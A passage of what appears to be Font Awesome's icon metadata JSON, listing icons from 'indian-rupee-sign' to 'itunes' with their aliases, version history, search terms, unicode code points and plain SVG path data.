        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64zM192 192c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32zm32 96H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zM0 448c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM127.8 268.6L25.8 347.9C15.3 356.1 0 348.6 0 335.3V176.7c0-13.3 15.3-20.8 25.8-12.6l101.9 79.3c8.2 6.4 8.2 18.9 0 25.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64zM192 192c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32zm32 96H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zM0 448c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM127.8 268.6L25.8 347.9C15.3 356.1 0 348.6 0 335.3V176.7c0-13.3 15.3-20.8 25.8-12.6l101.9 79.3c8.2 6.4 8.2 18.9 0 25.3z"
      }
    },
    "free": ["solid"]
  },
  "indian-rupee-sign": {
    "aliases": {
      "names": ["indian-rupee", "inr"]
    },
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Indian Rupee Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e1bc",
    "label": "Indian Rupee Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H96h16H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H231.8c9.6 14.4 16.7 30.6 20.7 48H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H252.4c-13.2 58.3-61.9 103.2-122.2 110.9L274.6 422c14.4 10.3 17.7 30.3 7.4 44.6s-30.3 17.7-44.6 7.4L13.4 314C2.1 306-2.7 291.5 1.5 278.2S18.1 256 32 256h80c32.8 0 61-19.7 73.3-48H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H185.3C173 115.7 144.8 96 112 96H96 32C14.3 96 0 81.7 0 64z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H96h16H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H231.8c9.6 14.4 16.7 30.6 20.7 48H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H252.4c-13.2 58.3-61.9 103.2-122.2 110.9L274.6 422c14.4 10.3 17.7 30.3 7.4 44.6s-30.3 17.7-44.6 7.4L13.4 314C2.1 306-2.7 291.5 1.5 278.2S18.1 256 32 256h80c32.8 0 61-19.7 73.3-48H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H185.3C173 115.7 144.8 96 112 96H96 32C14.3 96 0 81.7 0 64z"
      }
    },
    "free": ["solid"]
  },
  "industry": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f275"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "building",
        "factory",
        "industrial",
        "manufacturing",
        "mill",
        "warehouse"
      ]
    },
    "styles": ["solid"],
    "unicode": "f275",
    "label": "Industry",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 32C46.3 32 32 46.3 32 64V304v48 80c0 26.5 21.5 48 48 48H496c26.5 0 48-21.5 48-48V304 152.2c0-18.2-19.4-29.7-35.4-21.1L352 215.4V152.2c0-18.2-19.4-29.7-35.4-21.1L160 215.4V64c0-17.7-14.3-32-32-32H64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 32C46.3 32 32 46.3 32 64V304v48 80c0 26.5 21.5 48 48 48H496c26.5 0 48-21.5 48-48V304 152.2c0-18.2-19.4-29.7-35.4-21.1L352 215.4V152.2c0-18.2-19.4-29.7-35.4-21.1L160 215.4V64c0-17.7-14.3-32-32-32H64z"
      }
    },
    "free": ["solid"]
  },
  "infinity": {
    "aliases": {
      "unicodes": {
        "composite": ["221e", "267e"],
        "secondary": ["10f534"]
      }
    },
    "changes": [
      "5.0.13",
      "5.3.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Infinity",
        "eternity",
        "forever",
        "infinity",
        "math",
        "unbounded",
        "universal"
      ]
    },
    "styles": ["solid"],
    "unicode": "f534",
    "label": "Infinity",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 241.1C0 161 65 96 145.1 96c38.5 0 75.4 15.3 102.6 42.5L320 210.7l72.2-72.2C419.5 111.3 456.4 96 494.9 96C575 96 640 161 640 241.1v29.7C640 351 575 416 494.9 416c-38.5 0-75.4-15.3-102.6-42.5L320 301.3l-72.2 72.2C220.5 400.7 183.6 416 145.1 416C65 416 0 351 0 270.9V241.1zM274.7 256l-72.2-72.2c-15.2-15.2-35.9-23.8-57.4-23.8C100.3 160 64 196.3 64 241.1v29.7c0 44.8 36.3 81.1 81.1 81.1c21.5 0 42.2-8.5 57.4-23.8L274.7 256zm90.5 0l72.2 72.2c15.2 15.2 35.9 23.8 57.4 23.8c44.8 0 81.1-36.3 81.1-81.1V241.1c0-44.8-36.3-81.1-81.1-81.1c-21.5 0-42.2 8.5-57.4 23.8L365.3 256z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 241.1C0 161 65 96 145.1 96c38.5 0 75.4 15.3 102.6 42.5L320 210.7l72.2-72.2C419.5 111.3 456.4 96 494.9 96C575 96 640 161 640 241.1v29.7C640 351 575 416 494.9 416c-38.5 0-75.4-15.3-102.6-42.5L320 301.3l-72.2 72.2C220.5 400.7 183.6 416 145.1 416C65 416 0 351 0 270.9V241.1zM274.7 256l-72.2-72.2c-15.2-15.2-35.9-23.8-57.4-23.8C100.3 160 64 196.3 64 241.1v29.7c0 44.8 36.3 81.1 81.1 81.1c21.5 0 42.2-8.5 57.4-23.8L274.7 256zm90.5 0l72.2 72.2c15.2 15.2 35.9 23.8 57.4 23.8c44.8 0 81.1-36.3 81.1-81.1V241.1c0-44.8-36.3-81.1-81.1-81.1c-21.5 0-42.2 8.5-57.4 23.8L365.3 256z"
      }
    },
    "free": ["solid"]
  },
  "info": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f129"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["details", "help", "information", "more", "support"]
    },
    "styles": ["solid"],
    "unicode": "f129",
    "label": "Info",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767248,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 192 512\"><path d=\"M48 80a48 48 0 1 1 96 0A48 48 0 1 1 48 80zM0 224c0-17.7 14.3-32 32-32H96c17.7 0 32 14.3 32 32V448h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H64V256H32c-17.7 0-32-14.3-32-32z\"/></svg>",
        "viewBox": [0, 0, 192, 512],
        "width": 192,
        "height": 512,
        "path": "M48 80a48 48 0 1 1 96 0A48 48 0 1 1 48 80zM0 224c0-17.7 14.3-32 32-32H96c17.7 0 32 14.3 32 32V448h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H64V256H32c-17.7 0-32-14.3-32-32z"
      }
    },
    "free": ["solid"]
  },
  "instagram": {
    "changes": ["4.6.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f16d",
    "label": "Instagram",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z"
      }
    },
    "free": ["brands"]
  },
  "instalod": {
    "changes": ["5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e081",
    "label": "InstaLOD",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M153.384,480H387.113L502.554,275.765,204.229,333.211ZM504.726,240.078,387.113,32H155.669L360.23,267.9ZM124.386,48.809,7.274,256,123.236,461.154,225.627,165.561Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M153.384,480H387.113L502.554,275.765,204.229,333.211ZM504.726,240.078,387.113,32H155.669L360.23,267.9ZM124.386,48.809,7.274,256,123.236,461.154,225.627,165.561Z"
      }
    },
    "free": ["brands"]
  },
  "intercom": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": ["app", "customer", "messenger"]
    },
    "styles": ["brands"],
    "unicode": "f7af",
    "label": "Intercom",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014458,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M392 32H56C25.1 32 0 57.1 0 88v336c0 30.9 25.1 56 56 56h336c30.9 0 56-25.1 56-56V88c0-30.9-25.1-56-56-56zm-108.3 82.1c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zm-74.6-7.5c0-19.8 29.9-19.8 29.9 0v216.5c0 19.8-29.9 19.8-29.9 0V106.6zm-74.7 7.5c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zM59.7 144c0-19.8 29.9-19.8 29.9 0v134.3c0 19.8-29.9 19.8-29.9 0V144zm323.4 227.8c-72.8 63-241.7 65.4-318.1 0-15-12.8 4.4-35.5 19.4-22.7 65.9 55.3 216.1 53.9 279.3 0 14.9-12.9 34.3 9.8 19.4 22.7zm5.2-93.5c0 19.8-29.9 19.8-29.9 0V144c0-19.8 29.9-19.8 29.9 0v134.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M392 32H56C25.1 32 0 57.1 0 88v336c0 30.9 25.1 56 56 56h336c30.9 0 56-25.1 56-56V88c0-30.9-25.1-56-56-56zm-108.3 82.1c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zm-74.6-7.5c0-19.8 29.9-19.8 29.9 0v216.5c0 19.8-29.9 19.8-29.9 0V106.6zm-74.7 7.5c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zM59.7 144c0-19.8 29.9-19.8 29.9 0v134.3c0 19.8-29.9 19.8-29.9 0V144zm323.4 227.8c-72.8 63-241.7 65.4-318.1 0-15-12.8 4.4-35.5 19.4-22.7 65.9 55.3 216.1 53.9 279.3 0 14.9-12.9 34.3 9.8 19.4 22.7zm5.2-93.5c0 19.8-29.9 19.8-29.9 0V144c0-19.8 29.9-19.8 29.9 0v134.3z"
      }
    },
    "free": ["brands"]
  },
  "internet-explorer": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["browser", "ie"]
    },
    "styles": ["brands"],
    "unicode": "f26b",
    "label": "Internet-explorer",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M483.049 159.706c10.855-24.575 21.424-60.438 21.424-87.871 0-72.722-79.641-98.371-209.673-38.577-107.632-7.181-211.221 73.67-237.098 186.457 30.852-34.862 78.271-82.298 121.977-101.158C125.404 166.85 79.128 228.002 43.992 291.725 23.246 329.651 0 390.94 0 436.747c0 98.575 92.854 86.5 180.251 42.006 31.423 15.43 66.559 15.573 101.695 15.573 97.124 0 184.249-54.294 216.814-146.022H377.927c-52.509 88.593-196.819 52.996-196.819-47.436H509.9c6.407-43.581-1.655-95.715-26.851-141.162zM64.559 346.877c17.711 51.15 53.703 95.871 100.266 123.304-88.741 48.94-173.267 29.096-100.266-123.304zm115.977-108.873c2-55.151 50.276-94.871 103.98-94.871 53.418 0 101.981 39.72 103.981 94.871H180.536zm184.536-187.6c21.425-10.287 48.563-22.003 72.558-22.003 31.422 0 54.274 21.717 54.274 53.722 0 20.003-7.427 49.007-14.569 67.867-26.28-42.292-65.986-81.584-112.263-99.586z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M483.049 159.706c10.855-24.575 21.424-60.438 21.424-87.871 0-72.722-79.641-98.371-209.673-38.577-107.632-7.181-211.221 73.67-237.098 186.457 30.852-34.862 78.271-82.298 121.977-101.158C125.404 166.85 79.128 228.002 43.992 291.725 23.246 329.651 0 390.94 0 436.747c0 98.575 92.854 86.5 180.251 42.006 31.423 15.43 66.559 15.573 101.695 15.573 97.124 0 184.249-54.294 216.814-146.022H377.927c-52.509 88.593-196.819 52.996-196.819-47.436H509.9c6.407-43.581-1.655-95.715-26.851-141.162zM64.559 346.877c17.711 51.15 53.703 95.871 100.266 123.304-88.741 48.94-173.267 29.096-100.266-123.304zm115.977-108.873c2-55.151 50.276-94.871 103.98-94.871 53.418 0 101.981 39.72 103.981 94.871H180.536zm184.536-187.6c21.425-10.287 48.563-22.003 72.558-22.003 31.422 0 54.274 21.717 54.274 53.722 0 20.003-7.427 49.007-14.569 67.867-26.28-42.292-65.986-81.584-112.263-99.586z"
      }
    },
    "free": ["brands"]
  },
  "invision": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": ["app", "design", "interface"]
    },
    "styles": ["brands"],
    "unicode": "f7b0",
    "label": "InVision",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M407.4 32H40.6C18.2 32 0 50.2 0 72.6v366.8C0 461.8 18.2 480 40.6 480h366.8c22.4 0 40.6-18.2 40.6-40.6V72.6c0-22.4-18.2-40.6-40.6-40.6zM176.1 145.6c.4 23.4-22.4 27.3-26.6 27.4-14.9 0-27.1-12-27.1-27 .1-35.2 53.1-35.5 53.7-.4zM332.8 377c-65.6 0-34.1-74-25-106.6 14.1-46.4-45.2-59-59.9.7l-25.8 103.3H177l8.1-32.5c-31.5 51.8-94.6 44.4-94.6-4.3.1-14.3.9-14 23-104.1H81.7l9.7-35.6h76.4c-33.6 133.7-32.6 126.9-32.9 138.2 0 20.9 40.9 13.5 57.4-23.2l19.8-79.4h-32.3l9.7-35.6h68.8l-8.9 40.5c40.5-75.5 127.9-47.8 101.8 38-14.2 51.1-14.6 50.7-14.9 58.8 0 15.5 17.5 22.6 31.8-16.9L386 325c-10.5 36.7-29.4 52-53.2 52z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M407.4 32H40.6C18.2 32 0 50.2 0 72.6v366.8C0 461.8 18.2 480 40.6 480h366.8c22.4 0 40.6-18.2 40.6-40.6V72.6c0-22.4-18.2-40.6-40.6-40.6zM176.1 145.6c.4 23.4-22.4 27.3-26.6 27.4-14.9 0-27.1-12-27.1-27 .1-35.2 53.1-35.5 53.7-.4zM332.8 377c-65.6 0-34.1-74-25-106.6 14.1-46.4-45.2-59-59.9.7l-25.8 103.3H177l8.1-32.5c-31.5 51.8-94.6 44.4-94.6-4.3.1-14.3.9-14 23-104.1H81.7l9.7-35.6h76.4c-33.6 133.7-32.6 126.9-32.9 138.2 0 20.9 40.9 13.5 57.4-23.2l19.8-79.4h-32.3l9.7-35.6h68.8l-8.9 40.5c40.5-75.5 127.9-47.8 101.8 38-14.2 51.1-14.6 50.7-14.9 58.8 0 15.5 17.5 22.6 31.8-16.9L386 325c-10.5 36.7-29.4 52-53.2 52z"
      }
    },
    "free": ["brands"]
  },
  "ioxhost": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f208",
    "label": "ioxhost",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M616 160h-67.3C511.2 70.7 422.9 8 320 8 183 8 72 119 72 256c0 16.4 1.6 32.5 4.7 48H24c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h67.3c37.5 89.3 125.8 152 228.7 152 137 0 248-111 248-248 0-16.4-1.6-32.5-4.7-48H616c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24zm-96 96c0 110.5-89.5 200-200 200-75.7 0-141.6-42-175.5-104H424c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24H125.8c-3.8-15.4-5.8-31.4-5.8-48 0-110.5 89.5-200 200-200 75.7 0 141.6 42 175.5 104H216c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h298.2c3.8 15.4 5.8 31.4 5.8 48zm-304-24h208c13.3 0 24 10.7 24 24 0 13.2-10.7 24-24 24H216c-13.3 0-24-10.7-24-24 0-13.2 10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M616 160h-67.3C511.2 70.7 422.9 8 320 8 183 8 72 119 72 256c0 16.4 1.6 32.5 4.7 48H24c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h67.3c37.5 89.3 125.8 152 228.7 152 137 0 248-111 248-248 0-16.4-1.6-32.5-4.7-48H616c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24zm-96 96c0 110.5-89.5 200-200 200-75.7 0-141.6-42-175.5-104H424c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24H125.8c-3.8-15.4-5.8-31.4-5.8-48 0-110.5 89.5-200 200-200 75.7 0 141.6 42 175.5 104H216c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h298.2c3.8 15.4 5.8 31.4 5.8 48zm-304-24h208c13.3 0 24 10.7 24 24 0 13.2-10.7 24-24 24H216c-13.3 0-24-10.7-24-24 0-13.2 10.7-24 24-24z"
      }
    },
    "free": ["brands"]
  },
  "italic": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f033"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "emphasis", "font", "format", "text", "type"]
    },
    "styles": ["solid"],
    "unicode": "f033",
    "label": "Italic",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M128 64c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H293.3L160 416h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H90.7L224 96H160c-17.7 0-32-14.3-32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M128 64c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H293.3L160 416h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H90.7L224 96H160c-17.7 0-32-14.3-32-32z"
      }
    },
    "free": ["solid"]
  },
  "itch-io": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f83a",
    "label": "itch.io",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M71.92 34.77C50.2 47.67 7.4 96.84 7 109.73v21.34c0 27.06 25.29 50.84 48.25 50.84 27.57 0 50.54-22.85 50.54-50 0 27.12 22.18 50 49.76 50s49-22.85 49-50c0 27.12 23.59 50 51.16 50h.5c27.57 0 51.16-22.85 51.16-50 0 27.12 21.47 50 49 50s49.76-22.85 49.76-50c0 27.12 23 50 50.54 50 23 0 48.25-23.78 48.25-50.84v-21.34c-.4-12.9-43.2-62.07-64.92-75C372.56 32.4 325.76 32 256 32S91.14 33.1 71.92 34.77zm132.32 134.39c-22 38.4-77.9 38.71-99.85.25-13.17 23.14-43.17 32.07-56 27.66-3.87 40.15-13.67 237.13 17.73 269.15 80 18.67 302.08 18.12 379.76 0 31.65-32.27 21.32-232 17.75-269.15-12.92 4.44-42.88-4.6-56-27.66-22 38.52-77.85 38.1-99.85-.24-7.1 12.49-23.05 28.94-51.76 28.94a57.54 57.54 0 0 1-51.75-28.94zm-41.58 53.77c16.47 0 31.09 0 49.22 19.78a436.91 436.91 0 0 1 88.18 0C318.22 223 332.85 223 349.31 223c52.33 0 65.22 77.53 83.87 144.45 17.26 62.15-5.52 63.67-33.95 63.73-42.15-1.57-65.49-32.18-65.49-62.79-39.25 6.43-101.93 8.79-155.55 0 0 30.61-23.34 61.22-65.49 62.79-28.42-.06-51.2-1.58-33.94-63.73 18.67-67 31.56-144.45 83.88-144.45zM256 270.79s-44.38 40.77-52.35 55.21l29-1.17v25.32c0 1.55 21.34.16 23.33.16 11.65.54 23.31 1 23.31-.16v-25.28l29 1.17c-8-14.48-52.35-55.24-52.35-55.24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M71.92 34.77C50.2 47.67 7.4 96.84 7 109.73v21.34c0 27.06 25.29 50.84 48.25 50.84 27.57 0 50.54-22.85 50.54-50 0 27.12 22.18 50 49.76 50s49-22.85 49-50c0 27.12 23.59 50 51.16 50h.5c27.57 0 51.16-22.85 51.16-50 0 27.12 21.47 50 49 50s49.76-22.85 49.76-50c0 27.12 23 50 50.54 50 23 0 48.25-23.78 48.25-50.84v-21.34c-.4-12.9-43.2-62.07-64.92-75C372.56 32.4 325.76 32 256 32S91.14 33.1 71.92 34.77zm132.32 134.39c-22 38.4-77.9 38.71-99.85.25-13.17 23.14-43.17 32.07-56 27.66-3.87 40.15-13.67 237.13 17.73 269.15 80 18.67 302.08 18.12 379.76 0 31.65-32.27 21.32-232 17.75-269.15-12.92 4.44-42.88-4.6-56-27.66-22 38.52-77.85 38.1-99.85-.24-7.1 12.49-23.05 28.94-51.76 28.94a57.54 57.54 0 0 1-51.75-28.94zm-41.58 53.77c16.47 0 31.09 0 49.22 19.78a436.91 436.91 0 0 1 88.18 0C318.22 223 332.85 223 349.31 223c52.33 0 65.22 77.53 83.87 144.45 17.26 62.15-5.52 63.67-33.95 63.73-42.15-1.57-65.49-32.18-65.49-62.79-39.25 6.43-101.93 8.79-155.55 0 0 30.61-23.34 61.22-65.49 62.79-28.42-.06-51.2-1.58-33.94-63.73 18.67-67 31.56-144.45 83.88-144.45zM256 270.79s-44.38 40.77-52.35 55.21l29-1.17v25.32c0 1.55 21.34.16 23.33.16 11.65.54 23.31 1 23.31-.16v-25.28l29 1.17c-8-14.48-52.35-55.24-52.35-55.24z"
      }
    },
    "free": ["brands"]
  },
  "itunes": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3b4",
    "label": "iTunes",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M223.6 80.3C129 80.3 52.5 157 52.5 251.5S129 422.8 223.6 422.8s171.2-76.7 171.2-171.2c0-94.6-76.7-171.3-171.2-171.3zm79.4 240c-3.2 13.6-13.5 21.2-27.3 23.8-12.1 2.2-22.2 2.8-31.9-5-11.8-10-12-26.4-1.4-36.8 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 3.2-3.6 2.2-2 2.2-80.8 0-5.6-2.7-7.1-8.4-6.1-4 .7-91.9 17.1-91.9 17.1-5 1.1-6.7 2.6-6.7 8.3 0 116.1.5 110.8-1.2 118.5-2.1 9-7.6 15.8-14.9 19.6-8.3 4.6-23.4 6.6-31.4 5.2-21.4-4-28.9-28.7-14.4-42.9 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 5-5.7.9-127 2.6-133.7.4-2.6 1.5-4.8 3.5-6.4 2.1-1.7 5.8-2.7 6.7-2.7 101-19 113.3-21.4 115.1-21.4 5.7-.4 9 3 9 8.7-.1 170.6.4 161.4-1 167.6zM345.2 32H102.8C45.9 32 0 77.9 0 134.8v242.4C0 434.1 45.9 480 102.8 480h242.4c57 0 102.8-45.9 102.8-102.8V134.8C448 77.9 402.1 32 345.2 32zM223.6 444c-106.3 0-192.5-86.2-192.5-192.5S117.3 59 223.6 59s192.5 86.2 192.5 192.5S329.9 444 223.6 444z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
